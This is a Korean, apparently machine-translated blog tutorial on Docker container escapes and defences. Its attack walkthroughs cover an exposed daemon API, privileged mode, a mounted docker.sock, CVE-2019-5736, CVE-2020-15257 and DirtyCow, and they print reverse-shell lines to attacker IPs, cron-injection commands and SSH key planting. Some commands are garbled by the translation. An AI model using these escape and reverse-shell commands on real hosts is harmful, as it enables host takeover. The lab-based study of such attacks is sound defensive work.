[컨테이너 보안 방어선] Docker 공격 방법 및 방어 기술 연구

도커란 무엇입니까?

Docker
는 개발자가 애플리케이션과 종속성을 이식 가능한 이미지로 패키징한 다음 널리 사용되는 Linux 또는 Windows 운영 체제 시스템에 게시하고 가상화를 구현할 수 있는 오픈 소스 애플리케이션 컨테이너 엔진입니다. 컨테이너는 샌드박스 메커니즘을 완전히 사용하며 컨테이너 간에 인터페이스가 없습니다.

완전한 Docker는 다음 부분으로 구성됩니다.

1. 도커 클라이언트 클라이언트

2. 도커 데몬 데몬 프로세스

3. 도커 이미지 이미지

4. 도커 컨테이너 컨테이너

도커 아키텍처

Docker는 클라이언트-서버(C/S) 아키텍처 패턴을 사용하고 원격 API를 사용하여 Docker 컨테이너를 관리하고 생성합니다. Docker 컨테이너는
Docker 이미지에서 생성됩니다. 컨테이너와 이미지 간의 관계는 개체 지향 프로그래밍의 개체 및 클래스와 유사합니다.

Docker는 C/S 아키텍처 Docker 데몬을 서버로 사용하여 고객의 요청을 수락하고 이러한 요청을 처리합니다(컨테이너 생성, 실행 및 배포).
클라이언트와 서버는 동일한 시스템에서 실행하거나 소켓 또는 RESTful API를 통해 통신할 수 있습니다.

Docker 데몬은 일반적으로 호스트 호스트의 백그라운드에서 실행되어 클라이언트로부터 메시지를 받기를 기다립니다.
Docker 클라이언트는 사용자가 Docker 데몬과 상호 작용하는 데 사용하는 일련의 실행 가능한 명령을 사용자에게 제공합니다 .

도커 일반 명령

미러 목록

도커 이미지

v2-c8251de7b20c6b43721355cc10f794fd_1440w.webp

컨테이너 목록 만들기

도커 ps -a

v2-c3c0aad0a92c986e1c22990259c571af_1440w.webp

컨테이너 중지 및 삭제

docker stop/rm [컨테이너 ID]

v2-ed705ed0036e2e63cef0af7284ebb471_1440w.webp

미러 삭제

docker rmi [이미지 ID]

추신: 이미지를 삭제할 때 실행 중인 컨테이너를 먼저 중지해야 합니다.

v2-5d0ec01d5efd879ebccac85ca00f7dc_1440w.webp

쿼리 미러

도커 검색 [이름]

v2-402ce345f41d20ef8b69837c747c259c_1440w.webp

거울을 얻다

도커 풀 [이름]

v2-87af3cd47c513a27dd267dabf79e26d6_1440w.webp

이미지를 시작하는 대화식 방법

docker run -it [저장소] /bin/bash

v2-430bc70cca034c589bd7f411a948496a_1440w.webp

액세스 컨테이너

docker exec -it [컨테이너 ID] /bin/bash

v2-84f359e696cc3681a5ff659d1d6f37a9_1440w.webp

출구 컨테이너

종료/ctrl+p+q

v2-474731fd81dfbed8a1d52157030abf9f_1440w.webp

현재 머신이 Docker 컨테이너 환경인지 확인하는 방법

몇 가지 프로세스

v2-79cbb44c8cb0d0b5fa370d687c50a8e9_1440w.webp

일부 공통 명령을 사용할 수 없습니다.

v2-15e888b065a272126f83813de98aa0f0_1440w.webp

루트 디렉토리에 존재하는지 확인

.dockerenv 파일

도커 환경에서: ls -alh /.dockerenv

도커가 아닌 환경, .dockerenv 파일 없음

v2-f65198201a4ff50c1dd605732f2a5a54_1440w.webp

사용

Cat /proc/1/cgroup docker 관련 정보 유무

v2-707966452737ab1a7a11fba135361b12_1440w.webp

통과하다

mount 마운트된 디스크에 docker 관련 정보가 있는지 확인

v2-5f0a541af5412ceeb0a842ce43eb860c_1440w.webp

도커 공격 방식

Docker의 위험한 구성으로 인한 탈출

보안은 종종 고통스러운 교훈을 통해 발전합니다. 이러한 반복 기간 동안 컨테이너 커뮤니티는 "심층 방어" 및 "최소 권한"과 같은 개념과 원칙을 구현하기 위해 열심히 노력해 왔습니다. 예를 들어 Docker는 컨테이너가 현재 모든 기능에 대한 기본 금지로 실행 중일 때 Capabilities 블랙리스트 메커니즘을 변경한 다음 whitelist 메서드를 사용하여 실행하는 데 필요한 최소 권한을 컨테이너에 부여합니다.
그러나 세분화된 권한 제어이든 다른 보안 메커니즘이든 사용자는 컨테이너 환경 구성을 수정하거나 컨테이너를 실행할 때 매개 변수를 지정하여 제약 조건을 좁히거나 확장할 수 있습니다. 사용자가 완전히 통제되지 않은 컨테이너에 대한 일부 위험한 구성 매개변수를 제공하면 공격자에게 어느 정도의 탈출 가능성을 제공하며 때로는 사용자가 가장 큰 숨겨진 위험입니다.

docker daemon api 무단 액세스 취약점

Vulhub는 docker daemon api 무단접근 취약점에 대한 취약점 환경을 제공합니다.


[ https://github.com/vulhub/vulhub/tree/master/docker/unauthorized-rce](https://link.zhihu.com/?target=https%3A//github.com/vulhub/vulhub/ 트리/마스터/도커/무단
-rce)

취약성 환경을 컴파일하고 시작합니다.

도커 작성 빌드

도커 작성 -d

v2-ad7c3e1314a424f231dab28aa04514a8_1440w.webp

환경이 시작된 후 docker daemon api의 포트는 포트 2375입니다.

v2-40ce4bebcb605775c82761d0a753b1c6_1440w.webp

활용 방법은 임의로 컨테이너를 시작하고 호스트의 /etc 디렉토리를 컨테이너에 마운트하여 임의로 파일을 읽고 쓸 수 있도록 하는 것입니다. crontab 구성 파일에 명령을 작성하여 리버스 셸을 수행할 수 있습니다.

리바운드 쉘의 특급:

도커 가져오기

클라이언트 = docker.DockerClient(base_url='[http://your-
ip](https://link.zhihu.com/?target=http%3A//your-ip
): 2375/')

data = client.containers.run('alpine:latest', r'''sh - c "echo '* * * * *
/
usr/bin/nc your-ip
21 -e /bin/sh' >> /tmp /etc/crontabs/root" ''', 제거=True, 볼륨={'/etc':
{'bind': '/tmp/etc', 'mode': 'rw'}})

v2-0f83c9f1675cd1beafe476c2f4431ba0_1440w.webp

또한 github에서 익스플로잇을 직접 사용하여 공격할 수도 있습니다.

https://github.com/Tycx2ry/docker_api_vul

수리 계획

1. 포트 2375를 닫습니다(특히 공용 네트워크의 경우 이 포트를 비활성화해야 함).

2. 포트 2375에 대한 외부 네트워크 액세스를 금지하도록 방화벽 구성

특권 특권 모드는 도커를 시작합니다

Docker 컨테이너를 시작합니다.
--privileged 매개변수를 사용하는 경우 컨테이너는 모든 장치에 대한 전체 액세스 권한을 가지며 seccomp, AppArmor 및 Linux 기능에 의해 제한되지 않습니다 .

권한 모드에서 도커 컨테이너 시작

docker run -it --privileged centos /bin/bash

현재 컨테이너가 권한 있는 컨테이너인지 확인

고양이 /proc/1/상태 | grep 캡

쿼리 값이 0000000xffffffff이면 현재 컨테이너가 권한 있는 컨테이너임을 나타냅니다.

v2-1d11cf3fcd1081c9b1f29527e94975e5_1440w.webp

디스크 파일을 확인하고 호스트 장치가 /dev/sda1인지 확인합니다.

fdisk -l

v2-9626b868d50617a39a902f42ec7131da_1440w.webp

특권 모드에서 호스트 디스크를 컨테이너에 직접 마운트한 다음 루트 디렉터리를 전환합니다.

새 디렉토리 생성: mkdir /mb

호스트 디스크를 새로 생성된 디렉터리에 마운트합니다: mount /dev/sda2 /mb

루트 디렉토리 전환: chroot /mb

v2-8fba5159766497b3fe2ea90bfcc3876a_1440w.webp

Chroot는 프로그램이 실행될 때 참조되는 루트 디렉토리의 위치를 ​​변경하는 루트 변경으로 시스템의 보안을 강화하고 사용자가 할 수 있는 작업을 제한할 수 있습니다.

예약된 작업 생성 및 호스트 셸 바운스

에코 '* * * * * /bin/bash -i >& /dev/tcp/192.168.58.138/6666 0>&1' >>
/mb/var/spool/cron/crontabs/root

호스트의 루트 디렉토리를 컨테이너에 마운트하고 SSH 개인 키를 작성하여 로그인하십시오.

도커 실행 -it -v /root:/root centos /bin/bash

mkdir /루트/.ssh

고양이 id_rsa.pub >> /root/.ssh/authorized_keys

시작 매개변수와 관련된 보안 문제:

Docker는 호스트 이름, 사용자 권한, 파일 시스템, 네트워크, 프로세스 번호 및 프로세스 간 통신을 포함하여 Linux 네임스페이스를 통해
6개의 리소스 격리를 구현합니다 . 그러나 일부 시작 매개변수는 컨테이너에 더 큰 권한을 부여하여 리소스 격리의 경계를 깨뜨립니다.

–cap-add=SYS_ADMIN 시작할 때 마운트 권한이 있는 작업을 허용하고 사용을 위해 마운트할 리소스를 확보해야 합니다.

--net=host 시작 시 네트워크 네임스페이스 우회

--pid=host 시작 시 PID 네임스페이스 우회

--ipc=host 시작 시 IPC 네임스페이스 무시

컨테이너 내부에 docker.sock을 위험하게 마운트

도커 컨테이너에서 호스트 머신의 도커를 호출하여 실행하고, 도커 호스트 머신의 docker 파일과 docker.sock 파일을 컨테이너에 마운트하면 중첩 인형으로 이해할 수 있습니다.

도커 실행 --rm -it \

-v /var/run/docker.sock:/var/run/docker.sock \

-v /usr/bin/docker:/usr/bin/docker \

우분투 \

/bin/bash

find로 컨테이너에서 docker.sock 찾기

찾기 / -이름 docker.sock

v2-fd892cdcb34f104afb116b43c1dfa407_1440w.webp

호스트 도커 정보 보기

docker -H unix://var/run/docker.sock 정보

v2-e3a28ec28ac1a67cd0b59cfd4f482d52_1440w.webp

새 컨테이너를 실행하고 호스트 루트 경로를 마운트합니다.

도커 - H 유닉스:///var/run/docker.sock 실행 -it -v /:/mb 우분투 /bin/bash

새 컨테이너의 /mb 디렉터리에서 호스트의 모든 리소스에 액세스할 수 있습니다.

ls -to /mb

v2-324f05bac865dd8c8e4b665cfd823b33_1440w.webp

새 컨테이너에서 chroot를 실행하여 루트 디렉터리를 마운트된 호스트의 루트 디렉터리로 전환합니다.

chroot /mb

v2-fd6eea0cef0938263733b1dbf1db534a_1440w.webp

호스트 시스템으로 성공적으로 이스케이프되었습니다.

Docker 프로그램 취약점으로 인한 탈출

쇼커 공격

취약점 설명

Docker 컨테이너에서 탈출하여 호스트의 디렉터리에 있는 파일 내용을 읽습니다. Shocker 공격의 핵심은 시스템 호출 open_by_handle_at 함수의 실행입니다.Linux 설명서에는 open_by_handle_at 함수를 호출하려면 CAP_DAC_READ_SEARCH 기능이 필요하다고 구체적으로 언급되어 있지만 Docker 버전 1.0은 Capability에 대한 블랙리스트 관리 전략을 사용하고 CAP_DAC_READ_SEARCH 기능을 제한하지 않습니다. 따라서 컨테이너 탈출 위험이 발생합니다.

취약점의 영향을 받는 버전

Docker 1.0 이전의 대부분의 버전에 존재했던 Docker 버전 1.0(현재는 기본적으로 존재하지 않음)

POC

https://github.com/gabrtv/shocker

v2-9d5740a974399a60761fe3ce9312aae8_1440w.webp

runC 컨테이너 탈출 취약점(CVE-2019-5736)

취약점 설명


Docker 18.09.2 이전 버전에서 사용되는 runc 버전은 1.0-rc6 미만이므로 공격자가 호스트에서 runc 바이너리 파일을 다시 작성할 수 있으며 공격자는 호스트에서 루트로 명령을 실행할 수 있습니다.

취약점의 영향을 받는 버전

Docker 버전 18.09.2, runc 버전 1.0-rc6, 일반적으로 docker 및 docker -version을 통해 현재 버전을 볼 수 있습니다.

POC

https://github.com/Frichetten/CVE-2019-5736-PoC

공격 과정

1. 취약점 환경 구축(Ubuntu 18.04)

자동 건설


https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw -o
install.sh && bash install.sh

도커가 이미지를 천천히 가져오면 소스를 직접 변경할 수 있습니다.

v2-9f93778d26380b00751362648c1d78b6_1440w.webp

2. poc 다운로드 및 수정 및 컴파일

자식 클론
https://github.com/Frichetten/CVE-2019-5736-PoC

페이로드 수정

vi main.go

페이로드 = "#!/bin/bash \n ​​bash -i >& /dev/tcp/ip/port 0>&1"

v2-2f1dabc435b42580964cecf65764e409_1440w.webp

poc 컴파일

CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

사전에 golang-go 및 gccgo-go를 설치해야 합니다.

3. 컴파일된 poc를 docker에 복사

도커 CP 메인 52fd26fd140f:/tmp

v2-19780bb453c6c6e6ec689ea4640c9b29_1440w.webp

4. 도커에서 기본 파일 실행

v2-2f38a70baeb8a7e051fbb049ea4042d1_1440w.webp

5. 시뮬레이션된 관리자는 exec를 통해 컨테이너에 진입하고 페이로드를 트리거합니다.

sudo docker exec -it 52fd26fd140f /bin/bash

v2-8d8619b2b84bae23071c67a8910a5bd8_1440w.webp

v2-c6844d992d055b7309240f3c202d88ae_1440w.webp

6. 호스트에서 반송된 셸을 성공적으로 가져옵니다.

v2-4df6852af94809b54dd0ccb80d7115c1_1440w.webp

취약점이 성공적으로 재현되면 도커 컨테이너를 사용할 수 없습니다.

Docker cp 명령 컨테이너 탈출 공격 취약점(CVE-2019-14271)

취약점 설명


Docker 호스트가 cp 명령을 사용하면 컨테이너화되지 않은 보조 프로세스 dockertar를 호출 하고 런타임에 일부 libnss*.so 라이브러리를 동적으로 로드합니다.
해커는 컨테이너에서 libnss*.so와 같은 라이브러리를 교체하여 dockertar 에 코드를 주입할 수 있습니다 . Docker 사용자가 컨테이너에서 파일을 복사하려고 하면 악성 코드가 실행되고 Docker 탈출이 성공적으로 이루어지고 호스트 시스템의 루트 권한을 획득합니다.

취약점의 영향을 받는 버전

도커 19.03.0

공격 과정

[ https://unit42.paloaltonetworks.com/docker-patched-the-most-severe-copy-vulnerability-to-date-with-cve-2019-14271/](https://link.zhihu.com/
?
target=https%3A//unit42.paloaltonetworks.com/docker-
patched-the-most-severe-copy-vulnerability-to-date-with-cve-2019-14271/)

Docker 빌드의 명령 주입 취약점(CVE-2019-13139)

취약점 설명

"docker build" 명령의 빌드 경로를 제공하거나 조작할 수 있는 공격자는 명령 실행 권한을 얻을 수 있습니다. "docker build"가 원격 git URL을 처리하는
방식에 문제가 있었고 기본 "git clone" 명령에 명령 주입이 발생하여 사용자가 "docker build" 명령을 실행하는 컨텍스트에서 코드가 실행되었습니다.

취약점의 영향을 받는 버전

Docker 18.09.4 이전 버전

공격 과정

[
https://staaldraad.github.io/post/2019-07-16-cve-2019-13139-docker-build/](https://link.zhihu.com/?target=https%3A//staaldraad .github.io/post/2019-07-16-cve-2019-13139-docker-
build/)

호스트 모드 컨테이너 탈출 취약점(CVE-2020-15257)

취약점 설명

Containerd는 runC를 제어하고 시스템에서 컨테이너를 관리하기 위한 명령줄 클라이언트 및 API를 제공하는 데몬 프로세스입니다.

Containerd 1.3.9 이전 버전과 1.4.0~1.4.2 버전에서는 네트워크 모드가 호스트일 때 컨테이너가 호스트와 네트워크 네임스페이스 집합을 공유하며
이때 containerd-shim
API가 사용자에게 노출되고, 액세스 제어는 연결 프로세스의 유효 UID가 0인지만 확인하지만 기본적으로 컨테이너 내부의 프로세스가 루트 사용자로 시작되는 추상 Unix 도메인 소켓에 대한 액세스를 제한하지 않습니다. 이 둘의 합동 작용에 따라 컨테이너 내부의 프로세스는 호스트의 containerd와 같이 containerd-shim이
모니터링하는 추상 Unix 도메인 소켓 에 연결하고 containerd-shim이 제공하는 다양한 API를 호출하여 컨테이너 탈출을 실현할 수 있습니다.

취약점의 영향을 받는 버전

컨테이너d < 1.4.3

컨테이너d < 1.3.9

공격 과정

1. 취약점 환경 구축

ubuntu 18.04 + metatarget을 사용하여 빌드(18.04가 아닌 ubuntu 이미지를 사용하면 오류가 발생함)

git 클론 [
https://github.com/brant-ruan/metarget.git](https://link.zhihu.com/?target=https%3A//github.com/brant-ruan/metarget.git
)

pip3 insta[ll -r
requirements.txt](https://link.zhihu.com/?target=https%3A//github.com/brant-ruan/metarget.git
)

./metarget[cnv install
cve-2020-15257](https://link.zhihu.com/?target=https%3A//github.com/brant-ruan/metarget.git
)

v2-bbc84930af0bece62ee0c0d3427da18c_1440w.webp

2. 컨테이너 시작

sudo docker run -it --net=host --name=15257 우분투 /bin/bash

컨테이너에서 cat /proc/net/unix|grep -a "containerd-shim" 명령을 실행하여 추상 네임스페이스 Unix 도메인 소켓을 볼 수 있는지 확인합니다.

v2-1b3be804db8286c67f6721988dc4a2ad_1440w.webp

3. 호스트의 셸 리바운드

공격 머신은 포트 6666을 수신하고 익스플로잇 도구 [CDK](https://link.zhihu.com/?target=https%3A//github.com/cdk-team/CDK/
)를 다운로드하고 CDK를 전송합니다. 컨테이너 tmp로 내용 아래

sudo 도커 cp cdk_linux_amd64 15257:/tmp

도구 권한 부여, 도구 실행, 역방향 셸 명령 실행 및 성공적으로 호스트 셸 가져오기

cd /tmp

chmod 777

./cdk_linux_amd64 shim-pwn 역방향 공격자-ip 포트 실행

v2-9d1d1c25a47fce91cad72f729eb537ca_1440w.webp

v2-fa7c60b845e006a71cd3dfb12c3601ab_1440w.webp

커널 취약점으로 인해 Docker 이스케이프 발생

DirtyCow 취약점으로 Docker Escape 실현(CVE-2016-5195)

취약점 설명

Dirty Cow(CVE-2016-5195)는 Linux 커널의 권한 에스컬레이션 취약점으로, 이를 통해 Docker 컨테이너가 탈출하여 루트 권한이 있는 셸을 얻을 수 있습니다.

Docker는 호스트와 커널을 공유하므로 컨테이너는 dirtyCow 취약점이 있는 호스트에 있어야 합니다.

공격 과정

1. 컨테이너를 다운로드하고 실행합니다.

git 클론 [
https://github.com/gebl/dirtycow-docker-vdso.git](https://link.zhihu.com/?target=https%3A//github.com/gebl/dirtycow-docker-
vdso.git)

cd dirtyco[w-docker-
vdso/](https://link.zhihu.com/?target=https%3A//github.com/gebl/dirtycow-docker-vdso.git
)

sudo docke[r-compose run dirtycow
/bin/bash](https://link.zhihu.com/?target=https%3A//github.com/gebl/dirtycow-docker-vdso.git
)

v2-3901c772abea49db144fde9af9d1f0c5_1440w.webp

2. 컨테이너에 들어가 POC를 컴파일하고 실행합니다.

CD /dirtycow-vdso/

만들다

./0xdeadbeef ip:포트

3. 공격 머신의 청취 포트는 호스트 머신에 의해 리바운드된 쉘을 수락합니다.

nc -lvvp 포트

Docker 컨테이너에 대한 방어 체계


컨테이너 권한 제한: 컨테이너를 실행할 때 --cap -drop 옵션을 사용하여 컨테이너가 권한 모드를 얻지 못하도록 하는 것과 같이 명령줄 옵션 또는 Dockerfile 명령을 사용하여 컨테이너에 대한 액세스를 제한할 수 있습니다. 이렇게 하면 공격 표면이 줄어듭니다.

컨테이너 패키지를 정기적으로 업데이트: 컨테이너의 패키지, 라이브러리 및 종속성을 최신 상태로 유지하면 알려진 취약성을 수정하고 보안을 강화할 수 있습니다.

컨테이너 네트워킹 구성: 컨테이너 간의 통신을 제어하고 외부 시스템에 대한 액세스를 제한하도록 컨테이너 네트워킹을 구성하여 네트워크 공격으로부터 컨테이너를 보호합니다.

인증 및 권한 강화: 강력한 암호를 설정하고 다단계 인증을 사용하고 특정 사용자에 대한 액세스를 제한함으로써 컨테이너의 인증 및 권한 부여 메커니즘을 강화하여 무단 액세스를 제한할 수 있습니다.

컨테이너 상태 모니터링: 컨테이너의 상태를 실시간으로 모니터링하고 비정상적인 이벤트를 신속하게 진단 및 대응하며 알려지지 않은 취약점이나 공격으로 인한 컨테이너 장애를 방지합니다.

보안 모범 사례 적용: 최소 이미지 사용, 보안 감사 활성화, 컨테이너 이미지 서명 사용과 같은 보안 모범 사례를 따르면 컨테이너 보안을 더욱 향상시킬 수 있습니다.

마침내

네트워크 보안에 노출된 적이 없는 학생들을 위해 자세한 학습 및 성장 로드맵을 준비했습니다. 가장 과학적이고 체계적인 학습 경로라고 할 수 있으며, 누구나 이 일반적인 방향을 따르는 데 문제가 없습니다.

동시에 성장 경로에 해당하는 각 섹션의 지원 비디오가 있습니다.


물론 지원 비디오 외에도 다양한 문서, 책, 자료 및 도구가 정리되어 있으며 카테고리로 분류되었습니다. 너.

제한된 공간으로 인해 정보의 일부만 표시됩니다. 도움이 필요한 친구는 [아래 카드를 클릭]하여 무료로 얻을 수 있습니다.

추천

출처blog.csdn.net/web2022050903/article/details/131865533